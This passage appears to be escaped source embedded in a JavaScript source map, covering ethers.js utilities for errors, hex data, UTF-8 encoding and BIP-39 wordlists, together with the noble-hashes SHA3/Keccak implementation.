are checked.\n */\nexport function defineProperties(target, values, types) {\n for (let key in values) {\n let value = values[key];\n const type = (types ? types[key] : null);\n if (type) {\n checkType(value, type, key);\n }\n Object.defineProperty(target, key, { enumerable: true, value, writable: false });\n }\n}\n//# sourceMappingURL=properties.js.map","/**\n * All errors in ethers include properties to ensure they are both\n * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``).\n *\n * The [[isError]] function can be used to check the error ``code`` and\n * provide a type guard for the properties present on that error interface.\n *\n * @_section: api/utils/errors:Errors [about-errors]\n */\nimport { version } from \"../_version.js\";\nimport { defineProperties } from \"./properties.js\";\nfunction stringify(value, seen) {\n if (value == null) {\n return \"null\";\n }\n if (seen == null) {\n seen = new Set();\n }\n if (typeof (value) === \"object\") {\n if (seen.has(value)) {\n return \"[Circular]\";\n }\n seen.add(value);\n }\n if (Array.isArray(value)) {\n return \"[ \" + (value.map((v) => stringify(v, seen))).join(\", \") + \" ]\";\n }\n if (value instanceof Uint8Array) {\n const HEX = \"0123456789abcdef\";\n let result = \"0x\";\n for (let i = 0; i < value.length; i++) {\n result += HEX[value[i] >> 4];\n result += HEX[value[i] & 0xf];\n }\n return result;\n }\n if (typeof (value) === \"object\" && typeof (value.toJSON) === \"function\") {\n return stringify(value.toJSON(), seen);\n }\n switch (typeof (value)) {\n case \"boolean\":\n case \"number\":\n case \"symbol\":\n return value.toString();\n case \"bigint\":\n return BigInt(value).toString();\n case \"string\":\n return JSON.stringify(value);\n case \"object\": {\n const keys = Object.keys(value);\n keys.sort();\n return \"{ \" + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(\", \") + \" }\";\n }\n }\n return `[ COULD NOT SERIALIZE ]`;\n}\n/**\n * Returns true if the %%error%% matches an error thrown by ethers\n * that matches the error %%code%%.\n *\n * In TypeScript environments, this can be used to check that %%error%%\n * matches an EthersError type, which means the expected properties will\n * be set.\n *\n * @See [ErrorCodes](api:ErrorCode)\n * @example\n * try {\n * // code....\n * } catch (e) {\n * if (isError(e, \"CALL_EXCEPTION\")) {\n * // The Type Guard has validated this object\n * console.log(e.data);\n * }\n * }\n */\nexport function isError(error, code) {\n return (error && error.code === code);\n}\n/**\n * Returns true if %%error%% is a [[CallExceptionError].\n */\nexport function isCallException(error) {\n return isError(error, \"CALL_EXCEPTION\");\n}\n/**\n * Returns a new Error configured to the format ethers emits errors, with\n * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties\n * for the corresponding EthersError.\n *\n * Each error in ethers includes the version of ethers, a\n * machine-readable [[ErrorCode]], and depending on %%code%%, additional\n * required properties. The error message will also include the %%message%%,\n * ethers version, %%code%% and all additional properties, serialized.\n */\nexport function makeError(message, code, info) {\n let shortMessage = message;\n {\n const details = [];\n if (info) {\n if (\"message\" in info || \"code\" in info || \"name\" in info) {\n throw new Error(`value will overwrite populated values: ${stringify(info)}`);\n }\n for (const key in info) {\n if (key === \"shortMessage\") {\n continue;\n }\n const value = (info[key]);\n // try {\n details.push(key + \"=\" + stringify(value));\n // } catch (error: any) {\n // console.log(\"MMM\", error.message);\n // details.push(key + \"=[could not serialize object]\");\n // }\n }\n }\n details.push(`code=${code}`);\n details.push(`version=${version}`);\n if (details.length) {\n message += \" (\" + details.join(\", \") + \")\";\n }\n }\n let error;\n switch (code) {\n case \"INVALID_ARGUMENT\":\n error = new TypeError(message);\n break;\n case \"NUMERIC_FAULT\":\n case \"BUFFER_OVERRUN\":\n error = new RangeError(message);\n break;\n default:\n error = new Error(message);\n }\n defineProperties(error, { code });\n if (info) {\n Object.assign(error, info);\n }\n if (error.shortMessage == null) {\n defineProperties(error, { shortMessage });\n }\n return error;\n}\n/**\n * Throws an EthersError with %%message%%, %%code%% and additional error\n * %%info%% when %%check%% is falsish..\n *\n * @see [[api:makeError]]\n */\nexport function assert(check, message, code, info) {\n if (!check) {\n throw makeError(message, code, info);\n }\n}\n/**\n * A simple helper to simply ensuring provided arguments match expected\n * constraints, throwing if not.\n *\n * In TypeScript environments, the %%check%% has been asserted true, so\n * any further code does not need additional compile-time checks.\n */\nexport function assertArgument(check, message, name, value) {\n assert(check, message, \"INVALID_ARGUMENT\", { argument: name, value: value });\n}\nexport function assertArgumentCount(count, expectedCount, message) {\n if (message == null) {\n message = \"\";\n }\n if (message) {\n message = \": \" + message;\n }\n assert(count >= expectedCount, \"missing argument\" + message, \"MISSING_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n assert(count <= expectedCount, \"too many arguments\" + message, \"UNEXPECTED_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n}\nconst _normalizeForms = [\"NFD\", \"NFC\", \"NFKD\", \"NFKC\"].reduce((accum, form) => {\n try {\n // General test for normalize\n /* c8 ignore start */\n if (\"test\".normalize(form) !== \"test\") {\n throw new Error(\"bad\");\n }\n ;\n /* c8 ignore stop */\n if (form === \"NFD\") {\n const check = String.fromCharCode(0xe9).normalize(\"NFD\");\n const expected = String.fromCharCode(0x65, 0x0301);\n /* c8 ignore start */\n if (check !== expected) {\n throw new Error(\"broken\");\n }\n /* c8 ignore stop */\n }\n accum.push(form);\n }\n catch (error) { }\n return accum;\n}, []);\n/**\n * Throws if the normalization %%form%% is not supported.\n */\nexport function assertNormalize(form) {\n assert(_normalizeForms.indexOf(form) >= 0, \"platform missing String.prototype.normalize\", \"UNSUPPORTED_OPERATION\", {\n operation: \"String.prototype.normalize\", info: { form }\n });\n}\n/**\n * Many classes use file-scoped values to guard the constructor,\n * making it effectively private. This facilitates that pattern\n * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%,\n * throwing if not, indicating the %%className%% if provided.\n */\nexport function assertPrivate(givenGuard, guard, className) {\n if (className == null) {\n className = \"\";\n }\n if (givenGuard !== guard) {\n let method = className, operation = \"new\";\n if (className) {\n method += \".\";\n operation += \" \" + className;\n }\n assert(false, `private constructor; use ${method}from* methods`, \"UNSUPPORTED_OPERATION\", {\n operation\n });\n }\n}\n//# sourceMappingURL=errors.js.map","/**\n * Some data helpers.\n *\n *\n * @_subsection api/utils:Data Helpers [about-data]\n */\nimport { assert, assertArgument } from \"./errors.js\";\nfunction _getBytes(value, name, copy) {\n if (value instanceof Uint8Array) {\n if (copy) {\n return new Uint8Array(value);\n }\n return value;\n }\n if (typeof (value) === \"string\" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) {\n const result = new Uint8Array((value.length - 2) / 2);\n let offset = 2;\n for (let i = 0; i < result.length; i++) {\n result[i] = parseInt(value.substring(offset, offset + 2), 16);\n offset += 2;\n }\n return result;\n }\n assertArgument(false, \"invalid BytesLike value\", name || \"value\", value);\n}\n/**\n * Get a typed Uint8Array for %%value%%. If already a Uint8Array\n * the original %%value%% is returned; if a copy is required use\n * [[getBytesCopy]].\n *\n * @see: getBytesCopy\n */\nexport function getBytes(value, name) {\n return _getBytes(value, name, false);\n}\n/**\n * Get a typed Uint8Array for %%value%%, creating a copy if necessary\n * to prevent any modifications of the returned value from being\n * reflected elsewhere.\n *\n * @see: getBytes\n */\nexport function getBytesCopy(value, name) {\n return _getBytes(value, name, true);\n}\n/**\n * Returns true if %%value%% is a valid [[HexString]].\n *\n * If %%length%% is ``true`` or a //number//, it also checks that\n * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//)\n * bytes of data (e.g. ``0x1234`` is 2 bytes).\n */\nexport function isHexString(value, length) {\n if (typeof (value) !== \"string\" || !value.match(/^0x[0-9A-Fa-f]*$/)) {\n return false;\n }\n if (typeof (length) === \"number\" && value.length !== 2 + 2 * length) {\n return false;\n }\n if (length === true && (value.length % 2) !== 0) {\n return false;\n }\n return true;\n}\n/**\n * Returns true if %%value%% is a valid representation of arbitrary\n * data (i.e. a valid [[DataHexString]] or a Uint8Array).\n */\nexport function isBytesLike(value) {\n return (isHexString(value, true) || (value instanceof Uint8Array));\n}\nconst HexCharacters = \"0123456789abcdef\";\n/**\n * Returns a [[DataHexString]] representation of %%data%%.\n */\nexport function hexlify(data) {\n const bytes = getBytes(data);\n let result = \"0x\";\n for (let i = 0; i < bytes.length; i++) {\n const v = bytes[i];\n result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f];\n }\n return result;\n}\n/**\n * Returns a [[DataHexString]] by concatenating all values\n * within %%data%%.\n */\nexport function concat(datas) {\n return \"0x\" + datas.map((d) => hexlify(d).substring(2)).join(\"\");\n}\n/**\n * Returns the length of %%data%%, in bytes.\n */\nexport function dataLength(data) {\n if (isHexString(data, true)) {\n return (data.length - 2) / 2;\n }\n return getBytes(data).length;\n}\n/**\n * Returns a [[DataHexString]] by slicing %%data%% from the %%start%%\n * offset to the %%end%% offset.\n *\n * By default %%start%% is 0 and %%end%% is the length of %%data%%.\n */\nexport function dataSlice(data, start, end) {\n const bytes = getBytes(data);\n if (end != null && end > bytes.length) {\n assert(false, \"cannot slice beyond data bounds\", \"BUFFER_OVERRUN\", {\n buffer: bytes, length: bytes.length, offset: end\n });\n }\n return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end));\n}\n/**\n * Return the [[DataHexString]] result by stripping all **leading**\n ** zero bytes from %%data%%.\n */\nexport function stripZerosLeft(data) {\n let bytes = hexlify(data).substring(2);\n while (bytes.startsWith(\"00\")) {\n bytes = bytes.substring(2);\n }\n return \"0x\" + bytes;\n}\nfunction zeroPad(data, length, left) {\n const bytes = getBytes(data);\n assert(length >= bytes.length, \"padding exceeds data length\", \"BUFFER_OVERRUN\", {\n buffer: new Uint8Array(bytes),\n length: length,\n offset: length + 1\n });\n const result = new Uint8Array(length);\n result.fill(0);\n if (left) {\n result.set(bytes, length - bytes.length);\n }\n else {\n result.set(bytes, 0);\n }\n return hexlify(result);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **left**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **values** are in Solidity\n * (e.g. ``uint128``).\n */\nexport function zeroPadValue(data, length) {\n return zeroPad(data, length, true);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **right**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **bytes** are in Solidity\n * (e.g. ``bytes16``).\n */\nexport function zeroPadBytes(data, length) {\n return zeroPad(data, length, false);\n}\n//# sourceMappingURL=data.js.map","/**\n * Using strings in Ethereum (or any security-basd system) requires\n * additional care. These utilities attempt to mitigate some of the\n * safety issues as well as provide the ability to recover and analyse\n * strings.\n *\n * @_subsection api/utils:Strings and UTF-8 [about-strings]\n */\nimport { getBytes } from \"./data.js\";\nimport { assertArgument, assertNormalize } from \"./errors.js\";\nfunction errorFunc(reason, offset, bytes, output, badCodepoint) {\n assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, \"bytes\", bytes);\n}\nfunction ignoreFunc(reason, offset, bytes, output, badCodepoint) {\n // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes\n if (reason === \"BAD_PREFIX\" || reason === \"UNEXPECTED_CONTINUE\") {\n let i = 0;\n for (let o = offset + 1; o < bytes.length; o++) {\n if (bytes[o] >> 6 !== 0x02) {\n break;\n }\n i++;\n }\n return i;\n }\n // This byte runs us past the end of the string, so just jump to the end\n // (but the first byte was read already read and therefore skipped)\n if (reason === \"OVERRUN\") {\n return bytes.length - offset - 1;\n }\n // Nothing to skip\n return 0;\n}\nfunction replaceFunc(reason, offset, bytes, output, badCodepoint) {\n // Overlong representations are otherwise \"valid\" code points; just non-deistingtished\n if (reason === \"OVERLONG\") {\n assertArgument(typeof (badCodepoint) === \"number\", \"invalid bad code point for replacement\", \"badCodepoint\", badCodepoint);\n output.push(badCodepoint);\n return 0;\n }\n // Put the replacement character into the output\n output.push(0xfffd);\n // Otherwise, process as if ignoring errors\n return ignoreFunc(reason, offset, bytes, output, badCodepoint);\n}\n/**\n * A handful of popular, built-in UTF-8 error handling strategies.\n *\n * **``\"error\"``** - throws on ANY illegal UTF-8 sequence or\n * non-canonical (overlong) codepoints (this is the default)\n *\n * **``\"ignore\"``** - silently drops any illegal UTF-8 sequence\n * and accepts non-canonical (overlong) codepoints\n *\n * **``\"replace\"``** - replace any illegal UTF-8 sequence with the\n * UTF-8 replacement character (i.e. ``\"\\\\ufffd\"``) and accepts\n * non-canonical (overlong) codepoints\n *\n * @returns: Record<\"error\" | \"ignore\" | \"replace\", Utf8ErrorFunc>\n */\nexport const Utf8ErrorFuncs = Object.freeze({\n error: errorFunc,\n ignore: ignoreFunc,\n replace: replaceFunc\n});\n// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499\nfunction getUtf8CodePoints(_bytes, onError) {\n if (onError == null) {\n onError = Utf8ErrorFuncs.error;\n }\n const bytes = getBytes(_bytes, \"bytes\");\n const result = [];\n let i = 0;\n // Invalid bytes are ignored\n while (i < bytes.length) {\n const c = bytes[i++];\n // 0xxx xxxx\n if (c >> 7 === 0) {\n result.push(c);\n continue;\n }\n // Multibyte; how many bytes left for this character?\n let extraLength = null;\n let overlongMask = null;\n // 110x xxxx 10xx xxxx\n if ((c & 0xe0) === 0xc0) {\n extraLength = 1;\n overlongMask = 0x7f;\n // 1110 xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf0) === 0xe0) {\n extraLength = 2;\n overlongMask = 0x7ff;\n // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx\n }\n else if ((c & 0xf8) === 0xf0) {\n extraLength = 3;\n overlongMask = 0xffff;\n }\n else {\n if ((c & 0xc0) === 0x80) {\n i += onError(\"UNEXPECTED_CONTINUE\", i - 1, bytes, result);\n }\n else {\n i += onError(\"BAD_PREFIX\", i - 1, bytes, result);\n }\n continue;\n }\n // Do we have enough bytes in our data?\n if (i - 1 + extraLength >= bytes.length) {\n i += onError(\"OVERRUN\", i - 1, bytes, result);\n continue;\n }\n // Remove the length prefix from the char\n let res = c & ((1 << (8 - extraLength - 1)) - 1);\n for (let j = 0; j < extraLength; j++) {\n let nextChar = bytes[i];\n // Invalid continuation byte\n if ((nextChar & 0xc0) != 0x80) {\n i += onError(\"MISSING_CONTINUE\", i, bytes, result);\n res = null;\n break;\n }\n ;\n res = (res << 6) | (nextChar & 0x3f);\n i++;\n }\n // See above loop for invalid continuation byte\n if (res === null) {\n continue;\n }\n // Maximum code point\n if (res > 0x10ffff) {\n i += onError(\"OUT_OF_RANGE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Reserved for UTF-16 surrogate halves\n if (res >= 0xd800 && res <= 0xdfff) {\n i += onError(\"UTF16_SURROGATE\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n // Check for overlong sequences (more bytes than needed)\n if (res <= overlongMask) {\n i += onError(\"OVERLONG\", i - 1 - extraLength, bytes, result, res);\n continue;\n }\n result.push(res);\n }\n return result;\n}\n// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array\n/**\n * Returns the UTF-8 byte representation of %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8Bytes(str, form) {\n assertArgument(typeof (str) === \"string\", \"invalid string value\", \"str\", str);\n if (form != null) {\n assertNormalize(form);\n str = str.normalize(form);\n }\n let result = [];\n for (let i = 0; i < str.length; i++) {\n const c = str.charCodeAt(i);\n if (c < 0x80) {\n result.push(c);\n }\n else if (c < 0x800) {\n result.push((c >> 6) | 0xc0);\n result.push((c & 0x3f) | 0x80);\n }\n else if ((c & 0xfc00) == 0xd800) {\n i++;\n const c2 = str.charCodeAt(i);\n assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), \"invalid surrogate pair\", \"str\", str);\n // Surrogate Pair\n const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff);\n result.push((pair >> 18) | 0xf0);\n result.push(((pair >> 12) & 0x3f) | 0x80);\n result.push(((pair >> 6) & 0x3f) | 0x80);\n result.push((pair & 0x3f) | 0x80);\n }\n else {\n result.push((c >> 12) | 0xe0);\n result.push(((c >> 6) & 0x3f) | 0x80);\n result.push((c & 0x3f) | 0x80);\n }\n }\n return new Uint8Array(result);\n}\n;\n//export \nfunction _toUtf8String(codePoints) {\n return codePoints.map((codePoint) => {\n if (codePoint <= 0xffff) {\n return String.fromCharCode(codePoint);\n }\n codePoint -= 0x10000;\n return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00));\n }).join(\"\");\n}\n/**\n * Returns the string represented by the UTF-8 data %%bytes%%.\n *\n * When %%onError%% function is specified, it is called on UTF-8\n * errors allowing recovery using the [[Utf8ErrorFunc]] API.\n * (default: [error](Utf8ErrorFuncs))\n */\nexport function toUtf8String(bytes, onError) {\n return _toUtf8String(getUtf8CodePoints(bytes, onError));\n}\n/**\n * Returns the UTF-8 code-points for %%str%%.\n *\n * If %%form%% is specified, the string is normalized.\n */\nexport function toUtf8CodePoints(str, form) {\n return getUtf8CodePoints(toUtf8Bytes(str, form));\n}\n//# sourceMappingURL=utf8.js.map","import { bytes, exists, number, output } from './_assert.js';\nimport { rotlBH, rotlBL, rotlSH, rotlSL, split } from './_u64.js';\nimport { Hash, u32, toBytes, wrapConstructor, wrapXOFConstructorWithOpts, } from './utils.js';\n// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size.\n// It's called a sponge function.\n// Various per round constants calculations\nconst [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []];\nconst _0n = /* @__PURE__ */ BigInt(0);\nconst _1n = /* @__PURE__ */ BigInt(1);\nconst _2n = /* @__PURE__ */ BigInt(2);\nconst _7n = /* @__PURE__ */ BigInt(7);\nconst _256n = /* @__PURE__ */ BigInt(256);\nconst _0x71n = /* @__PURE__ */ BigInt(0x71);\nfor (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) {\n // Pi\n [x, y] = [y, (2 * x + 3 * y) % 5];\n SHA3_PI.push(2 * (5 * y + x));\n // Rotational\n SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64);\n // Iota\n let t = _0n;\n for (let j = 0; j < 7; j++) {\n R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n;\n if (R & _2n)\n t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n);\n }\n _SHA3_IOTA.push(t);\n}\nconst [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true);\n// Left rotation (without 0, 32, 64)\nconst rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s));\nconst rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s));\n// Same as keccakf1600, but allows to skip some rounds\nexport function keccakP(s, rounds = 24) {\n const B = new Uint32Array(5 * 2);\n // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js)\n for (let round = 24 - rounds; round < 24; round++) {\n // Theta θ\n for (let x = 0; x < 10; x++)\n B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40];\n for (let x = 0; x < 10; x += 2) {\n const idx1 = (x + 8) % 10;\n const idx0 = (x + 2) % 10;\n const B0 = B[idx0];\n const B1 = B[idx0 + 1];\n const Th = rotlH(B0, B1, 1) ^ B[idx1];\n const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1];\n for (let y = 0; y < 50; y += 10) {\n s[x + y] ^= Th;\n s[x + y + 1] ^= Tl;\n }\n }\n // Rho (ρ) and Pi (π)\n let curH = s[2];\n let curL = s[3];\n for (let t = 0; t < 24; t++) {\n const shift = SHA3_ROTL[t];\n const Th = rotlH(curH, curL, shift);\n const Tl = rotlL(curH, curL, shift);\n const PI = SHA3_PI[t];\n curH = s[PI];\n curL = s[PI + 1];\n s[PI] = Th;\n s[PI + 1] = Tl;\n }\n // Chi (χ)\n for (let y = 0; y < 50; y += 10) {\n for (let x = 0; x < 10; x++)\n B[x] = s[y + x];\n for (let x = 0; x < 10; x++)\n s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10];\n }\n // Iota (ι)\n s[0] ^= SHA3_IOTA_H[round];\n s[1] ^= SHA3_IOTA_L[round];\n }\n B.fill(0);\n}\nexport class Keccak extends Hash {\n // NOTE: we accept arguments in bytes instead of bits here.\n constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) {\n super();\n this.blockLen = blockLen;\n this.suffix = suffix;\n this.outputLen = outputLen;\n this.enableXOF = enableXOF;\n this.rounds = rounds;\n this.pos = 0;\n this.posOut = 0;\n this.finished = false;\n this.destroyed = false;\n // Can be passed from user as dkLen\n number(outputLen);\n // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes\n if (0 >= this.blockLen || this.blockLen >= 200)\n throw new Error('Sha3 supports only keccak-f1600 function');\n this.state = new Uint8Array(200);\n this.state32 = u32(this.state);\n }\n keccak() {\n keccakP(this.state32, this.rounds);\n this.posOut = 0;\n this.pos = 0;\n }\n update(data) {\n exists(this);\n const { blockLen, state } = this;\n data = toBytes(data);\n const len = data.length;\n for (let pos = 0; pos < len;) {\n const take = Math.min(blockLen - this.pos, len - pos);\n for (let i = 0; i < take; i++)\n state[this.pos++] ^= data[pos++];\n if (this.pos === blockLen)\n this.keccak();\n }\n return this;\n }\n finish() {\n if (this.finished)\n return;\n this.finished = true;\n const { state, suffix, pos, blockLen } = this;\n // Do the padding\n state[pos] ^= suffix;\n if ((suffix & 0x80) !== 0 && pos === blockLen - 1)\n this.keccak();\n state[blockLen - 1] ^= 0x80;\n this.keccak();\n }\n writeInto(out) {\n exists(this, false);\n bytes(out);\n this.finish();\n const bufferOut = this.state;\n const { blockLen } = this;\n for (let pos = 0, len = out.length; pos < len;) {\n if (this.posOut >= blockLen)\n this.keccak();\n const take = Math.min(blockLen - this.posOut, len - pos);\n out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos);\n this.posOut += take;\n pos += take;\n }\n return out;\n }\n xofInto(out) {\n // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF\n if (!this.enableXOF)\n throw new Error('XOF is not possible for this instance');\n return this.writeInto(out);\n }\n xof(bytes) {\n number(bytes);\n return this.xofInto(new Uint8Array(bytes));\n }\n digestInto(out) {\n output(out, this);\n if (this.finished)\n throw new Error('digest() was already called');\n this.writeInto(out);\n this.destroy();\n return out;\n }\n digest() {\n return this.digestInto(new Uint8Array(this.outputLen));\n }\n destroy() {\n this.destroyed = true;\n this.state.fill(0);\n }\n _cloneInto(to) {\n const { blockLen, suffix, outputLen, rounds, enableXOF } = this;\n to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds));\n to.state32.set(this.state32);\n to.pos = this.pos;\n to.posOut = this.posOut;\n to.finished = this.finished;\n to.rounds = rounds;\n // Suffix can change in cSHAKE\n to.suffix = suffix;\n to.outputLen = outputLen;\n to.enableXOF = enableXOF;\n to.destroyed = this.destroyed;\n return to;\n }\n}\nconst gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen));\nexport const sha3_224 = /* @__PURE__ */ gen(0x06, 144, 224 / 8);\n/**\n * SHA3-256 hash function\n * @param message - that would be hashed\n */\nexport const sha3_256 = /* @__PURE__ */ gen(0x06, 136, 256 / 8);\nexport const sha3_384 = /* @__PURE__ */ gen(0x06, 104, 384 / 8);\nexport const sha3_512 = /* @__PURE__ */ gen(0x06, 72, 512 / 8);\nexport const keccak_224 = /* @__PURE__ */ gen(0x01, 144, 224 / 8);\n/**\n * keccak-256 hash function. Different from SHA3-256.\n * @param message - that would be hashed\n */\nexport const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8);\nexport const keccak_384 = /* @__PURE__ */ gen(0x01, 104, 384 / 8);\nexport const keccak_512 = /* @__PURE__ */ gen(0x01, 72, 512 / 8);\nconst genShake = (suffix, blockLen, outputLen) => wrapXOFConstructorWithOpts((opts = {}) => new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true));\nexport const shake128 = /* @__PURE__ */ genShake(0x1f, 168, 128 / 8);\nexport const shake256 = /* @__PURE__ */ genShake(0x1f, 136, 256 / 8);\n//# sourceMappingURL=sha3.js.map","/**\n * Cryptographic hashing functions\n *\n * @_subsection: api/crypto:Hash Functions [about-crypto-hashing]\n */\nimport { keccak_256 } from \"@noble/hashes/sha3\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _keccak256 = function (data) {\n return keccak_256(data);\n};\nlet __keccak256 = _keccak256;\n/**\n * Compute the cryptographic KECCAK256 hash of %%data%%.\n *\n * The %%data%% **must** be a data representation, to compute the\n * hash of UTF-8 data use the [[id]] function.\n *\n * @returns DataHexstring\n * @example:\n * keccak256(\"0x\")\n * //_result:\n *\n * keccak256(\"0x1337\")\n * //_result:\n *\n * keccak256(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n * // Strings are assumed to be DataHexString, otherwise it will\n * // throw. To hash UTF-8 data, see the note above.\n * keccak256(\"Hello World\")\n * //_error:\n */\nexport function keccak256(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__keccak256(data));\n}\nkeccak256._ = _keccak256;\nkeccak256.lock = function () { locked = true; };\nkeccak256.register = function (func) {\n if (locked) {\n throw new TypeError(\"keccak256 is locked\");\n }\n __keccak256 = func;\n};\nObject.freeze(keccak256);\n//# sourceMappingURL=keccak.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { toUtf8Bytes } from \"../utils/index.js\";\n/**\n * A simple hashing function which operates on UTF-8 strings to\n * compute an 32-byte identifier.\n *\n * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes\n * the [[keccak256]].\n *\n * @example:\n * id(\"hello world\")\n * //_result:\n */\nexport function id(value) {\n return keccak256(toUtf8Bytes(value));\n}\n//# sourceMappingURL=id.js.map","import { assertArgument } from \"../utils/index.js\";\nconst subsChrs = \" !#$%&'()*+,-./<=>?@[]^_`{|}~\";\nconst Word = /^[a-z]*$/i;\nfunction unfold(words, sep) {\n let initial = 97;\n return words.reduce((accum, word) => {\n if (word === sep) {\n initial++;\n }\n else if (word.match(Word)) {\n accum.push(String.fromCharCode(initial) + word);\n }\n else {\n initial = 97;\n accum.push(word);\n }\n return accum;\n }, []);\n}\n/**\n * @_ignore\n */\nexport function decode(data, subs) {\n // Replace all the substitutions with their expanded form\n for (let i = subsChrs.length - 1; i >= 0; i--) {\n data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2));\n }\n // Get all tle clumps; each suffix, first-increment and second-increment\n const clumps = [];\n const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => {\n if (semi) {\n for (let i = parseInt(semi); i >= 0; i--) {\n clumps.push(\";\");\n }\n }\n else {\n clumps.push(item.toLowerCase());\n }\n return \"\";\n });\n /* c8 ignore start */\n if (leftover) {\n throw new Error(`leftovers: ${JSON.stringify(leftover)}`);\n }\n /* c8 ignore stop */\n return unfold(unfold(clumps, \";\"), \":\");\n}\n/**\n * @_ignore\n */\nexport function decodeOwl(data) {\n assertArgument(data[0] === \"0\", \"unsupported auwl data\", \"data\", data);\n return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length));\n}\n//# sourceMappingURL=decode-owl.js.map","import { defineProperties } from \"../utils/index.js\";\n/**\n * A Wordlist represents a collection of language-specific\n * words used to encode and devoce [[link-bip-39]] encoded data\n * by mapping words to 11-bit values and vice versa.\n */\nexport class Wordlist {\n locale;\n /**\n * Creates a new Wordlist instance.\n *\n * Sub-classes MUST call this if they provide their own constructor,\n * passing in the locale string of the language.\n *\n * Generally there is no need to create instances of a Wordlist,\n * since each language-specific Wordlist creates an instance and\n * there is no state kept internally, so they are safe to share.\n */\n constructor(locale) {\n defineProperties(this, { locale });\n }\n /**\n * Sub-classes may override this to provide a language-specific\n * method for spliting %%phrase%% into individual words.\n *\n * By default, %%phrase%% is split using any sequences of\n * white-space as defined by regular expressions (i.e. ``/\\s+/``).\n */\n split(phrase) {\n return phrase.toLowerCase().split(/\\s+/g);\n }\n /**\n * Sub-classes may override this to provider a language-specific\n * method for joining %%words%% into a phrase.\n *\n * By default, %%words%% are joined by a single space.\n */\n join(words) {\n return words.join(\" \");\n }\n}\n//# sourceMappingURL=wordlist.js.map","// Use the encode-latin.js script to create the necessary\n// data files to be consumed by this class\nimport { id } from \"../hash/index.js\";\nimport { assertArgument } from \"../utils/index.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\nimport { Wordlist } from \"./wordlist.js\";\n/**\n * An OWL format Wordlist is an encoding method that exploits\n * the general locality of alphabetically sorted words to\n * achieve a simple but effective means of compression.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on ASCII-7 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwl extends Wordlist {\n #data;\n #checksum;\n /**\n * Creates a new Wordlist for %%locale%% using the OWL %%data%%\n * and validated against the %%checksum%%.\n */\n constructor(locale, data, checksum) {\n super(locale);\n this.#data = data;\n this.#checksum = checksum;\n this.#words = null;\n }\n /**\n * The OWL-encoded data.\n */\n get _data() { return this.#data; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwl(this.#data);\n }\n #words;\n #loadWords() {\n if (this.#words == null) {\n const words = this._decodeWords();\n // Verify the computed list matches the official list\n const checksum = id(words.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== this.#checksum) {\n throw new Error(`BIP39 Wordlist for ${this.locale} 